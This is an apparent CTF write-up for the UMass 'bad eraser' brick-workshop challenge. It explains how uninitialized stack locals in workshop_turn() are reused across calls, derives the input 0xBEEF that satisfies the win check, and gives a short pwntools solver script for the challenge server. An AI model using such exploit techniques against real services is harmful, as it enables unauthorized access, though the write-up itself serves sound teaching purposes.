$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: an amd64 menu service stores calibration integers in stack locals inside `workshop_turn()` and later reuses them after a state change. Solution: trigger diagnostics once to seed stale stack values, choose pigment `0xBEEF`, then invoke diagnostics again so the uninitialized reuse satisfies the win check.
Provided challenge materials:
bad_eraser,bad_eraser.c,Dockerfile,Makefile, and the remote servicenc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002.
English summary: this was a small amd64 menu binary themed as a brick workshop. The goal was to review the control flow, find how the hidden win() condition could be reached, and retrieve the flag from the remote service.
Service:
nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002
This was not a classic memory-corruption pwn with a buffer overflow or ROP chain. The binary was an amd64 ELF, dynamically linked, non-PIE, NX enabled, no canary, partial RELRO, and not stripped, but the real issue was a logic bug caused by uninitialized stack variables.
The exploit path was just:
30 488793 againThat second diagnostics call reused stale stack values from the previous call and immediately hit win().
The important code lives in workshop_turn():
static void workshop_turn(void) { int choice; unsigned int mold_id; unsigned int pigment_code; banner(); if (scanf("%d", &choice) != 1) { exit(0); } ... if (!service_initialized) { puts("First-time calibration required."); puts("Enter mold id and pigment code."); if (scanf("%u %u", &mold_id, &pigment_code) != 2) { exit(0); } puts("Calibration saved. Re-enter diagnostics for clutch validation."); service_initialized = 1; return; } diagnostics_bay(mold_id, pigment_code); }
The hidden success path is in diagnostics_bay():
static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) { return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1); } static void diagnostics_bay(unsigned int mold_id, unsigned int pigment_code) { puts("Running clutch-power diagnostics..."); if (clutch_score(mold_id, pigment_code) == 0x23ccdu) { win(); } puts("Result: unstable clutch fit. Send batch back to sorting."); exit(0); }
The bug is use of uninitialized stack variables.
mold_id and pigment_code are local variables inside workshop_turn(). They are initialized only in the first diagnostics path:
option 3 call: scanf("%u %u", &mold_id, &pigment_code); service_initialized = 1; return;option 3 call: diagnostics_bay(mold_id, pigment_code);On the second visit, the function declares the same locals again but does not assign them before using them. Because workshop_turn() is called repeatedly in a loop, the new stack frame reuses the same stack area, so the previous calibration values are still sitting there. In practice, the second call forwards those stale values into diagnostics_bay().
So this is a state bug:
We need:
clutch_score(mold_id, pigment_code) == 0x23CCD
with:
clutch_score(mold_id, pigment_code) = (((mold_id >> 2) & 0x43) | pigment_code) + (pigment_code << 1)
The chosen input is:
30 488793Why 48879 works:
48879 == 0xBEEF((mold_id >> 2) & 0x43) can only contribute values in {0,1,2,3,64,65,66,67}0xBEEF still gives 0xBEEF0xBEEFTherefore:
clutch_score = 0xBEEF + 2*0xBEEF = 3*0xBEEF = 0x23CCD
This means the stale pigment_code alone is enough to satisfy the check. mold_id can be 0 because the mask contribution is irrelevant after the OR.
#!/usr/bin/env python3 from pwn import * HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org" PORT = 45002 def main(): io = remote(HOST, PORT) io.sendlineafter(b"> ", b"3") io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879") io.sendlineafter(b"> ", b"3") print(io.recvall(timeout=2).decode(errors="replace")) if __name__ == "__main__": main()
Running clutch-power diagnostics... Master Builder status unlocked! UMASS{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar